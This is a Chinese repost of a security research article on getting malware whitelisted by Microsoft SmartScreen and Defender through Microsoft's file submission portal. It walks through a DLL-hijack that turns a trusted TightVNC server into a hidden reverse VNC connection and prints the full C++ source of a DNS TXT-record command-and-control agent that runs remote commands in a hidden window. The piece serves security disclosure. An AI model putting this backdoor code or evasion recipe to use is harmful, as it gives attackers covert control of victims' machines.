恶意软件躲过微软安全检查

admin 2025年6月14日23:36:29评论18 views字数 9625阅读32分5秒阅读模式
恶意软件躲过微软安全检查
恶意软件躲过微软安全检查

Microsoft SmartScreen是一款基于云的反网络钓鱼和反恶意软件组件,与各种 Microsoft 产品集成,包括 Windows 8/10/11 等操作系统、(现已推出的)Internet Explorer和Microsoft Edge。它通过对照两个不同的列表来确定下载的文件或程序包是否安全,检查顺序如下:

  • 包含已报告为恶意文件和已知不安全网站的黑名单。如果找到匹配项, Microsoft SmartScreen会显示警告,告知用户该资源可能有害。如果没有匹配项,则会进行下一步检查。

  • 包含常用且下载频繁的文件的白名单。如果文件不在该列表中, Microsoft SmartScreen会显示警告,提醒用户谨慎操作。如果文件已列入白名单,则被视为安全文件。

Microsoft Defender(以前称为Windows Defender)是一款功能齐全的防病毒解决方案,已集成到 Microsoft Windows 中。它最初是作为 Windows XP 的可下载免费反间谍软件程序发布的,并随 Windows Vista 和 Windows 7 一起提供。如今,它已发展成为一款功能齐全的防病毒程序,并在 Windows 8 及更高版本中取代了Microsoft Security Essentials。

每当使用Microsoft Edge下载可执行文件时,它都会经过两项不同的安全检查:Microsoft SmartScreen会在下载时以及保存文件之前首先进行检查。如果通过此检查,文件将保存在本地下载文件夹中,Microsoft Defender将在该文件夹中对其进行分析(假设采用默认配置)。

当Microsoft SmartScreen将文件与其黑名单进行匹配时,如果发现匹配项,Microsoft Edge将向用户显示一条警告消息,阻止下载。例如,可以通过尝试下载 EICAR 反恶意软件测试文件来测试此行为。

恶意软件躲过微软安全检查

图 1 – MS SmartScreen 阻止下载已知不安全的文件

如果在任何数据库中都找不到该文件的匹配项,则会显示一条较为温和的警告,警告用户除非文件确实可信,否则不要下载或打开该文件,并且用户应明确允许保存该文件。以下是一个使用未知可执行文件的示例:

恶意软件躲过微软安全检查

图 2 – 如果文件对于 MS SmartScreen 来说未知,则会显示一条需要用户同意的警告消息

最后一种情况是,如果文件已列入白名单,则会下载该文件,并提示用户打开该文件,且不会发出任何警告。以下是下载受信任应用程序时发生的情况示例:

恶意软件躲过微软安全检查

图 3 – 如果 MS SmartScreen 确认文件安全,则无缝下载

可执行文件保存后,只需单击下拉控件中显示的文件名即可运行。虽然下拉菜单中提供了某种超链接,但无需点击即可打开。这时,Microsoft Defender便会发挥作用:即使该文件已获得Microsoft SmartScreen的信任,Microsoft Defender仍会根据其自身的黑名单和白名单进行检查。如果未找到匹配项,它将对文件本身运行一系列检查,包括启发式分析和机器学习,以确定该文件是否仍然可以安全运行。如果发现任何可疑行为,该文件将立即被隔离,以防止进一步执行:

恶意软件躲过微软安全检查

图 4 – 尽管 MS SmartScreen 允许,MS Defender 仍阻止文件下载

那么,应用程序如何才能被这两个组件列入白名单呢?我们发现,至少可以通过三种不同的方式实现:

  • 提交应用程序进行恶意软件分析:微软允许其客户提交文件进行恶意软件分析,以帮助开发人员“验证其产品的检测结果”。如果审核成功,相应的安全警告会更快消失,有时甚至会立即消失(正如我们在测试中观察到的那样)。

  • 购买代码签名证书:使用前一种方法,如果您发布了应用程序的更新版本,则还必须再次请求审核。为了解决这个问题,可以购买并使用代码签名证书,例如扩展验证 (EV) 证书或组织验证 (OV) 证书。

  • 信誉:Microsoft SmartScreen和Microsoft Defender都使用基于信誉的系统,因此您可以等到该文件被广泛下载并自动列入白名单。

签名恶意软件并不是什么新鲜事,所以我们不想走这条路。我们不想无限期地等待,于是选择了第一种方案,提交了文件以供审核。为此,我们开发了两种不同的方法,两种方法都奏效了,我们的恶意应用程序也被微软列入了白名单——所以我们有权给它们起一些有趣的名字:

Wicked Sidekick: 首先选择一个受我们可以利用的漏洞影响的可信可执行文件,然后准备一个安装包,其中包含原始可执行文件和为利用该漏洞而制作的任何侧面组件。

Evil Invitee:从头开发一个全新的恶意应用程序。

邪恶伙伴:别担心他,他只是个朋友!

对于第一种情况,我们选择了信誉良好的应用程序,例如TightVNC 服务器,它具有非常有趣的功能,例如能够重新连接远程侦听器,以及非常适合隐藏其存在的不同设置,例如禁用托盘图标和保留原始壁纸。

恶意软件躲过微软安全检查

图 5 – TightVNC 服务器官方下载页面

从整个安装包中,我们只对 VNC 服务器可执行文件tvnserver.exe感兴趣,它受到大多数(如果不是全部)知名防病毒引擎的信任。

恶意软件躲过微软安全检查

图 6 – VirusTotal 对 tvnserver.exe 的扫描被所有被查询的防病毒引擎视为安全

正如前面截图(故意)显示的那样,由于这个文件名声不佳, Microsoft Edge 、 Google Chrome以及其他网络浏览器也会下载该文件,且不会发出任何警告。需要注意的是,只需点击一次下载的文件,VNC 服务器就会以默认配置在系统上运行——除非你另行配置,否则 Windows 11 会默认隐藏所有新的托盘图标。

恶意软件躲过微软安全检查

图 7 – 只需单击一下,TightVNC 服务器就会使用其默认配置运行

现在,虽然一开始在系统上不知不觉地运行着一个 VNC 服务器可能有点让人担心,但不仅是托盘图标,而且突然出现的纯黑色壁纸也可能暗示着出了问题。但TightVNC 服务器在这方面是高度可定制的,只需修改几个一目了然的注册表项即可使其变得隐蔽:

HKCUSoftwareTightVNCServerRemoveWallpaper HKCUSoftwareTightVNCServerRunControlInterface

此外,TightVNC 服务器默认以监听模式运行。因此,除非您直接连接到互联网,中间没有路由器/防火墙(这种情况在当今非常罕见),否则攻击面会非常有限。幸运的是,TightVNC 服务器还可以通过几个命令行开关连接到任何所需端口上的远程监听器:

tvnserver.exe-controlapp-connect[主机]:[端口]

然而,这些定制都不能通过简单地运行我们刚刚下载的官方可执行文件来实现,那么我们如何将这些密钥添加到 Windows 注册表并启动指向远程控制系统的 VNC 服务器呢?

有趣的事情就从这里开始了:我们擅自分析了TightVNC 服务器的一些安全问题,发现它存在多个 DLL 劫持漏洞——这些漏洞正在向供应商披露。感兴趣的朋友可以查阅大量精彩的页面,详细了解发现和利用此类漏洞的整个过程

恶意软件躲过微软安全检查

图 8 – 使用进程监视器查找 DLL 劫持问题/机会

有了这些知识,我们制作了一个 DLL(我们选择了profapi.dll,但我们也可能选择列表中的任何其他 DLL),其中包含以下必要的代码:

  1. 创建隐藏应用程序所需的注册表项。

  2. 终止当前进程。

  3. 使用命令行开关重新启动 VNC 服务器以回调远程侦听器。

公平地说,这里使用的 VNC 服务器可执行文件tvnserver.exe并非由GlavSoft以独立程序的形式提供,而是作为可从其网站下载的安装包的一部分。部署时,应用程序文件夹会获得适当的权限(经我们确认,是免费的),这使得典型的二进制植入场景不太可能发生。这里的诀窍在于,整个 VNC 服务器功能都包含在一个可执行文件中,该文件是原始安装包的一部分,已获得 Microsoft 的信任。我们将它与恶意 DLL 打包在一起,并在同一路径下提取,因此tvnserver.exe每次调用时都会加载它。

我们使用Microsoft Defender扫描了生成的 DLL ,没有触发任何警告,这很合理,因为代码依赖于同一文件夹中的 TightVNC 服务器才能正常工作。我们也尝试直接使用Microsoft Edge下载此文件,但发现Microsoft SmartScreen不允许自动保存该文件——稍后我们将深入探讨此行为背后的原因。

恶意软件躲过微软安全检查

图 9 – Microsoft SmartScreen 在用户下载我们未知的 DLL 时发出警告

为了确保此 DLL 与TightVNC 服务器可执行文件一起发送时不会触发警报,我们首先通过 Microsoft 安全情报提交门户[5]单独提交了该库,该门户只需要一个 Microsoft 帐户。在本例中,我们使用了一个常规的 Hotmail 帐户,表明我们是非特定公司的开发人员——不过,必须输入一个名字,即使是假名。

恶意软件躲过微软安全检查

图 10 – 我们通过 Microsoft 安全情报提交门户发送了 DLL 以供审查

为了让您免于经历无休止的逐步截图的麻烦:一旦填写完表格并提交了二进制文件,它将被分成几个部分,每个部分都将单独进行分析。

有趣的是,在大多数测试中,我们观察到整个文件(首先)被云分析器标记,而其不同段的分析在完成时不会产生任何检测 - 整个自动分析需要几分钟。

恶意软件躲过微软安全检查

图 11 – Microsoft 对我们的 DLL 执行的持续安全分析的详细信息

恶意软件躲过微软安全检查

图 12 – 上面检测到的恶意软件签名

无论这项检测结果如何,最终都会有一位人工分析师对每份提交的文件做出最终判定。我们在测试中观察到,文件审核可能需要一天到一周的时间——在这个特殊情况下,我们只用了两天就将文件列入了白名单。不过,等待的人似乎有福了,因为我们发送的每个文件最终都被判定为安全:

恶意软件躲过微软安全检查

图 13 – 我们的 DLL 已获得 Microsoft 的批准并列入白名单

有趣的是,一旦我们的 DLL 被Microsoft SmartScreen列入白名单,下载时Microsoft Edge显示的警告就会变得更加糟糕:

恶意软件躲过微软安全检查

图 14 – 将我们的 DLL 列入白名单后,下载时显示的警告更加严重

这种行为可以解释:尽管Windows SmartScreen和Windows Defender都将文件标记为安全,但Microsoft Edge的文件类型策略组件会根据文件的“危险性”对其进行分类,以管理文件下载。无害类型的文件(例如 .TXT 文件)可以免费下载,而潜在危险的文件(例如 .DLL 文件)则需要接受更高级别的审查。这种审查旨在提供更注重安全的用户体验。

根据微软的说法,每种文件类型都有一个 从与其相关的 Chromium 策略继承的danger_level ,它可以是以下三个值之一:

  • NOT_DANGEROUS表示文件可以安全下载,即使下载请求是意外的。

  • 危险意味着浏览器应该始终警告用户下载的内容可能会损害他们的设备。

  • ALLOW_ON_USER_GESTURE 更加隐蔽:这些文件可能存在危险,但如果用户请求下载,则很可能无害。如果同时满足以下两个条件, Microsoft Edge将允许这些下载自动继续:

  1. 启动下载的网络请求与用户操作相关 。例如,用户点击了下载链接。

  2. 在最近的午夜(即昨天或更早)之前,有访问过引用源(链接到下载的页面)的记录。此记录表明用户有访问该网站的历史记录。

虽然 .DLL 文件默认被归类为DANGEROUS,但 .EXE、.COM 或 .CMD 等可执行文件类型的danger_level在未知情况下会设置为ALLOW_ON_USER_GESTURE ,在知名应用程序的白名单中则会设置为 NOT_DANGEROUS 。很方便吧?

有了我们列入白名单的 DLL 和受信任但存在漏洞的TightVNC 服务器可执行文件,我们将它们打包成一个自解压 (SFX) 文件,并命名为OneClick.exe,然后重复提交此文件给微软审核的过程。需要注意的是,由于提交过程要求我们选择触发扫描警报的产品,因此需要提交两次:一次是Microsoft SmartScreen,另一次是Microsoft Defender。

恶意软件躲过微软安全检查

图 15 – SFX 包的内容和设置

恶意软件躲过微软安全检查

图 16 – 每次提交文件时都必须选择正确的产品

恶意软件躲过微软安全检查

图 17 – 在 DLL 中发现的签名与在 SFX 的初步分析中发现的签名相同

请注意,在上面的屏幕截图中,云扫描程序再次将整个文件最初标记为恶意软件,而其分解的组件则被标记为安全。事实上,在未经微软审核和批准之前尝试下载并运行自解压文件会触发Microsoft SmartScreen和Microsoft Defender 的警报,尽管自解压文件中包含的两个文件本身都已列入白名单,但最终还是被检测到并阻止了。

恶意软件躲过微软安全检查

图 18 – Microsoft SmartScreen/Defender 阻止了我们未经验证的包含两个白名单二进制文件的 SFX

在我们的测试中,我们发现使用 WinRAR 创建的自解压文件会触发此检测,而使用Iexpress(Windows 自带的自解压包创建工具)创建的软件包则不会触发此检测,但执行生成的自解压文件时,我们发现其行为存在不一致,因此尽管启用了此标记,我们还是选择了 WinRAR。最终,由于软件包中包含的两个文件都已被视为安全文件,我们预计我们的软件包会被添加到受信任文件列表中。结果确实如此。

恶意软件躲过微软安全检查

图 19 – 我们的 SFX 已获得 Microsoft 的批准并列入白名单

正如预期的那样,此时我们能够下载并运行 SFX,而不会出现任何警告。

恶意软件躲过微软安全检查

图 20 – 我们现在列入白名单的 SFX 可以下载并运行,没有任何警告

接下来是一段简短的视频,总结了这个概念验证场景,其中顶部的系统(攻击者框)在侦听模式下运行 TightVNC 查看器,而下面的系统(目标)是一个完全修补的 Windows 10 系统,其中所有可用的 Windows 安全选项都已启用并处于最新状态: 

邪恶 受邀者:开门!是我,袭击者!

在本例中,我们选择开发一个简单但恶意的应用程序,并将其发送给微软进行审核。程序运行后,会每分钟轮询一次 DNS TXT 记录的值,该记录包含即将运行的系统命令。该 TXT 记录的值(由我们控制)的 TTL 为一分钟,因此我们可以每分钟运行不同的命令,将其转变为应用程序的某种命令与控制 (C&C) 服务器。想要代码吗?那就这样吧:

runTXT.cpp的源代码:

#include<windows.h> #include<iostream> #include<windns.h> voidrunTXT()// 定义 DNS 查询的变量PDNS_RECORD pDnsRecord = NULLDNS_STATUS dnsStatus; // 执行 DNS 查询以检索 TXT 记录dnsStatus = DnsQuery_W(L "cmd.versprite.services", DNS_TYPE_TEXT, DNS_QUERY_STANDARD, NULL, & pDnsRecord, NULL); if (dnsStatus == ERROR_SUCCESS) { // 遍历 TXT 记录列表(如果有多个)PDNS_RECORD pTxtRecord = pDnsRecord; while (pTxtRecord != NULL) { if (pTxtRecord -> wType == DNS_TYPE_TEXT && pTxtRecord -> Data.TXT.dwStringCount > 0) { // 从 TXT 记录中提取命令并运行constwchar_t * txtdata = pTxtRecord -> Data.TXT.pStringArray[0]; STARTUPINFOW si = { sizeof(si) }; PROCESS_INFORMATION pi; if (CreateProcessW(nullptrconst_cast < LPWSTR > (txtdata), nullptrnullptr, FALSE, CREATE_NO_WINDOW, nullptrnullptr, & si, & pi)) { WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); pTxtRecord = pTxtRecord -> pNext; // 释放为 DNS 记录分配的内存DnsRecordListFree(pDnsRecord, DnsFreeRecordList); VOID CALLBACK TimerCallback_In_ HWND hwnd, _In_ UINT uMsg, _In_ UINT_PTR idEvent, _In_ DWORD dwTime )// 在此处调用 runTXT() 函数runTXT(); int WINAPI WinMain_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nCmdShow )// 设置计时器每分钟调用一次 runTXT() SetTimer(NULL060000, TimerCallback); // 进入消息循环,保持程序运行MSG msg; while (GetMessage( & msg, NULL00)) { TranslateMessage( & msg); DispatchMessage( & msg); return0}
恶意软件躲过微软安全检查

图 21 – 我们的恶意 runTXT.exe 已被 Microsoft 列入白名单

值得注意的是,我们没有使用任何混淆器,查询的 TXT 记录是cmd.versprite.services,可执行文件名为runTXT.exe。我们甚至不需要隐藏我们的意图。

与以前一样,我们接下来附上一个简短的视频,总结这个概念验证场景,其中受害者运行一个完全修补的 Windows 10 系统,所有可用的 Windows 安全选项都已启用并处于最新状态:

附加提示:如果使用其他浏览器下载这些文件会怎么样?

当然,我们与微软及其浏览器并无个人恩怨——其他浏览器可能也有人会,但那是另一回事了。

然而,从渗透测试人员/研究人员的角度来看,我们观察到,相比使用其他浏览器

https://versprite.com/vs-labs/slipping-malware-through-microsoft-security-checks/#REF7

通过Microsoft Edge锁定用户时,暴露的攻击向量更容易被利用。以下是我们在尝试使用Google Chrome和Mozilla Firefox时发现的一些情况的总结。

谷歌浏览器

在撰写本文时,我们使用最新版本的Google Chrome v122.0.6261.112,首先尝试下载白名单中的 SFX,并发现它被标记为危险:

恶意软件躲过微软安全检查

图 22 – 尽管被 Microsoft 列入白名单,Google Chrome 仍阻止了我们的 SFX 包的下载

然后我们猜测,Google 安全浏览功能可能检测到了某种与使用 WinRAR 进行自解压打包相关的签名,就像我们在提交给微软审批时观察到的那样。我们确认了事实确实如此,因为如果下载的自解压包是使用Iexpress构建的,一开始并没有出现任何警告:

恶意软件躲过微软安全检查

图 23 – 如果 SFX 是用 lexpress 构建的,Google Chrome 不会显示任何警告

我们还尝试下载我们的隐秘代理runTXT.exe,发现Google Chrome首先会下载并保存该文件而没有任何抱怨,并且只需单击一下即可运行它,就像您现在在我的桌面上看到的那样。

恶意软件躲过微软安全检查

图 24 – Google Chrome 在第一次尝试下载 runTXT.exe 时没有任何警告

恶意软件躲过微软安全检查

图 25 – 在 Google Chrome 中单击即可启动 runTXT.exe

然后我们观察到一个有趣的行为:经过一段时间(几个小时)的无缝下载后,它在后续的下载尝试中开始被标记为可疑,诱使用户对其进行恶意软件扫描。

恶意软件躲过微软安全检查

图 26 – 一段时间后,Google Chrome 在下载同一文件时显示警告

我们冒险尝试了扫描恶意软件的选项,并且每次都通过了测试

恶意软件躲过微软安全检查

图 27 – 安全扫描通过后,Google Chrome 允许运行该文件

但是,必须经过额外步骤才能下载文件很可能会让许多用户不愿运行它。请记住,尽管获得了 Google 的批准,但如果我们不先将程序列入Microsoft Defender 的白名单,它无论如何都会捕获我们的程序。此外,Microsoft Edge随 Windows 一起提供,他们总是试图将其推送给用户 - 这足以解释人们普遍的蔑视。如果从 Microsoft 应用程序(例如Microsoft Teams或Microsoft Outlook )内部单击文件链接,最后一点就变得尤为重要,因为尽管系统中配置了默认浏览器,但链接仍将使用Microsoft Edge打开。还可以使用microsoft-edge协议处理程序强制从其他浏览器使用Microsoft Edge打开页面。

恶意软件躲过微软安全检查

图 28 – Microsoft Edge 协议处理程序可用于从其他浏览器启动 MS Edge

总而言之,虽然我们有机会使用Google Chrome成功入侵,但由于我们尚不清楚Google 安全浏览将文件列入白名单的详细机制,从攻击者的角度来看,最安全的方式是针对Microsoft Edge。

注意:几天后(当我们完成这篇文章时),我们发现我们的二进制文件似乎已被 Google 安全浏览列入白名单,因为我们在来自多个不同系统的测试中不再观察到任何警告 - 虽然我们还不能确定,但我们会随时向你们通报。

火狐浏览器

至于这款浏览器,嗯,这简直就是攻击者梦寐以求的场景:它甚至在未经任何询问的情况下就下载了我们尝试的所有文件,甚至包括 DLL 文件本身——假设 Windows下载文件夹默认在不同的浏览器和应用程序之间共享,那么这将构成相当大的安全风险,因为该文件夹中的任何可执行文件最终都可能遭受 DLL 劫持攻击。它还可以像Microsoft Edge和Google Chrome一样,只需单击一下即可运行可执行文件。

恶意软件躲过微软安全检查

图 29 – Mozilla Firefox 将下载我们所有的文件,并且不显示任何警告

然而,考虑到它仅占 3% 的市场份额,并且它不是 Windows 系统中默认安装的,我们并没有关注涉及它的攻击媒介——目前,还有更多攻击媒介即将出现。

参考

[1] EICAR 反恶意软件测试文件:

https://www.eicar.org/download-anti-malware-testfile

[2] TightVNC Server下载页面:

https://www.tightvnc.com/download.php

[3] Windows 中的劫持 DLL:

https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows

[4] DLL 劫持 - 基础知识:

https://medium.com/techzap/dll-hijacking-part-1-basics-b6dfb8260cf1

[5] Microsoft 安全情报提交门户:

https://www.microsoft.com/en-us/wdsi/filesubmission

[6] 识别并中断潜在危险文件的下载:

https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions

[7] 微软将停止强制欧盟国家的 Windows 11 用户使用 Edge:

https://www.theverge.com/2023/9/5/23859537/microsoft-windows-11-default-browser-links-eu-eea-changes

原文始发于微信公众号(Ots安全):恶意软件躲过微软安全检查

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月14日23:36:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   恶意软件躲过微软安全检查https://cn-sec.com/archives/4165178.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息